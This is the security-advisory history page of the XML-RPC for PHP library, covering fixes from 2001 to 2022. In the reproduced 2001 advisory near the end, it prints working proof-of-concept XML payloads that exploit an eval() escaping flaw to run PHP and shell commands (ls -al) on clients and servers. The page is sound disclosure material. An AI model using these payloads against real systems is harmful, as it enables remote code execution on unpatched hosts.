XML-RPC for PHP Security Infos

The following is the list of all known security problems in the history of the library.

Security issues fixed: December 2022

Hardened the debugger against a possible XSS injection

Security issues fixed: November 2022

1: hardened the `Client::send()` method against misuse of the `$method` argument (issue #81, reported March 2021).

Abusing its value, it was possible to force the client to access local files or connect to undesired urls instead of the intended target server's url (the one used in the Client constructor).

This weakness only affects installations where all the following conditions apply, at the same time:

This is most likely a very uncommon usage scenario, and as such the severity of this issue can be considered low.

If it is not possible to upgrade to this release of the library at this time, a proactive security measure, to avoid the Client accessing any local file on the server which hosts it, is to add the following call to your code: 

    $client->setCurlOptions([CURLOPT_PROTOCOLS, CURLPROTO_HTTPS|CURLPROTO_HTTP]);

2: hardened the `Wrapper::buildClientWrapperCode` method's code generation against code injection via usage of a malevolent `$client` argument (issue #80, reported March 2021)

In order for this weakness to be exploited, the following conditions have to apply, at the same time:

This is most likely an uncommon usage scenario, and as such the severity of this issue can be considered low.

NB the graphical debugger which is shipped as part of the library is vulnerable to this, when used with the option "Generate stub for method call" selected. In that case, the debugger will display but not execute the malicious code, which would have to be provided via carefully crafted values for the "Address" and "Path" inputs.

The attack scenario in this case is that a developer copies into his/her own source code the php snippet generated by the debugger, in a situation where the debugger is used with "Address"/"Path" input values supplied by a 3rd party. The malicious payload in the "Address"/"Path" input values should be easily recognized as suspicious by any barely proficient developer, as it resembles a bog-standard injection attack. It goes without saying that a responsible developer should not blindly copy and paste into his/her own code anything generated by a 3rd party tool, such as the phpxmlrpc debugger, without giving it at least a cursory scan.

The third security breach: August 2005

This was a further and proactive response to the second security breach below. All use of eval() has been removed since it was still a potential exploit.

When the library was originally written, the versions of php available at the time did not include call_user_func(), et al. So it was written within those constraints to use eval() in two of the functions called by the xml parser. Due to this usage, the server class also used eval() since it had to parse xml using the same functions.

These handler functions, and the array used to maintain the content of the original message, have been rewritten to construct php values instead of building php code for evaluation. This should remove any potential for code execution.

The second security breach: July 2005

The security vulnerability discovered by James Bercegay of GulfTech Security Research on the 27th of June, 2005, has caused quite a stir. It has made it to the front page of Salshdot, has been mentioned on Netcraft, LWN and many other sites.

Detailed instructions on building exploit code have been released on the internet, and many web hosting administrators are left wondering what is the best defense plan, and what are the real risks. Here are some answers.

Scope of the problem

How the vulnerability is triggered

Means of protection

Some extra considerations

The file xmlrpcs.inc has been patched too in release 1.1.1 to provide a better user experience. In more detail: sending specially crafted malformed xml to a server would cause the php script to emit a php error instead of returning an appropriate xml response.
According to some, this actually entails a "path disclosure security breach" (i.e. the php error message displayed usually contains sensitive information about filesystem paths), but then any single PHP script suffers of the same security problem if the sysadmin is running production servers with the ini directive display_errors=On.
I also know for a fact that there are many places in xmlrpc.inc where calling a function with an unexpected parameter will generate a php warning or error, and I am not planning to implement strict parameter check for every single function anytime soon - if you aim for that, imho, you might as well code in java in the first place.

Is this the end of the world?

I hope not.
The reason is there are tens of PHP applications out there that suffer from code injection exploits. Just take a look at the security track of bulletin boards... and yet a lot of people still think PHP is a good choice for web development.
Remember: security is a process, not a state that can be reached.

Gaetano Giunta

The first security breach: September 2001

I received this advisory from Dan Libby. With his
permission it is reproduced here.  Note that this exploit is fixed
in revisions 1.01 and greater of XML-RPC for PHP.

 -- Edd Dumbill

Tue Sep 24 2001
===============

PHP Security Hole: potential XML-RPC exploit
============================================

Abstract:

Using the latest release of Useful Inc's php xmlrpc library, version 1.0,
it is possible for an attacker to structure the xml in such a way as to
trick the xml-rpc library into executing php code on a web server.  I
was able to execute arbitrary php code, and with php's safe-mode turned
off, system commands.  An attacker could easily use this as a gateway for
launching viruses.

Details:

I demonstrated the problem by modifying the server.php example script
included with the xmlrpc distribution and then calling it via the
client.php script, also part of the distribution. I bypassed the standard
server code, and simply echo'd responses back to the client. I was
able to get the client to execute arbitrary php code. I then restored the
server.php sample to its original state and used telnet to send a modified
request. I was also able to make code execute on the server, albeit requiring
a slightly different syntax.

The attack centers around use of php's eval() function. Since I knew that
the xml-rpc library uses eval to construct its data structures from xml
input, it was just a matter of structuring the input xml in such a
manner that it:

a) is not escaped before being passed to eval
b) does not generate a php syntax error

Normally, all non numeric data is escaped by the library before being
passed to eval.  However, it turns out that if you send a <value> tag,
followed by an unexpected tag, such as <foo>, the escaping code will be
bypassed and "raw" data will be evaluated instead.

Exploiting the client:

Here is a typical xml-rpc response:

<?xml version="1.0"?>
<methodResponse>
<params><param>

<value><string>hello world</string></value>

</param></params>
</methodResponse>

When such a response is eval'ed, it looks like:

new xmlrpcval("hello world", "string")

Here is an xml-rpc response that will execute php code to echo "<h1> hello
world </h1>" on the client side:

<?xml version="1.0"?>
<methodResponse>
<params><param>

<value><foo>", "string"); echo "<h1> hello world </h1>"; \$waste = array("</foo></value>

</param></params>
</methodResponse>

In this case, the string that will be eval'ed is:

new xmlrpcval("", "string"); echo "<h1> hello world </h1>"; $waste = array("", 'string')

It is possible to replace everything between "string"); and \$waste with
arbitrary code of just about any length.

Finally, here's one that will print the contents of the current directory:

<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><foo>", "string");

echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
 or read some files. Have a nice day.<br><br>";
exit;

\$waste = array("</foo></value>
</param>
</params>
</methodResponse>

Exploiting the server:

The server exploit is just about the same as the client, except that the
server is using a different eval command, and thus it requires slightly
different begin and ending syntax to avoid php syntax errors.

Here is the same code as above, but it will work against a server.

<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value><test>", "string"));

echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";

echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
 or read some files. Have a nice day.<br><br>";
exit;

$waste = array(array("</test></value>
</param>
</params>
</methodCall>

Problem Area:

in xmlrpc.inc, there is a function called xmlrpc_cd(), which is called by
the xml parser to handle character data.

function xmlrpc_cd($parser, $data) {
   global $_xh, $xmlrpc_backslash, $xmlrpc_twoslash;

//if (ereg("^[\n\r \t]+$", $data)) return;
// print "adding [${data}]\n";
   if ($_xh[$parser]['lv']==1) {
      $_xh[$parser]['qt']=1;
      $_xh[$parser]['lv']=2;
   }
   if ($_xh[$parser]['qt']) { // quoted string
      $_xh[$parser]['ac'].=str_replace('\$', '\\$',
                                       str_replace('"', '\"',
                                                   str_replace(chr(92),$xmlrpc_backslash, $data)));
   }
   else
      $_xh[$parser]['ac'].=$data;
}

It is the last else that is causing data to be added without escaping.  It
is very dangerous to have this. This else seems to be intended for
numeric data, and great pains are taken to set and unset the "qt" (quote)
variable which turns escaping on and off. However, it is not immediately
apparent to me why numeric data should not be similarly escaped, and the
if/else removed, such that there is zero chance for this type of exploit.
Page last updated: 2022/12/23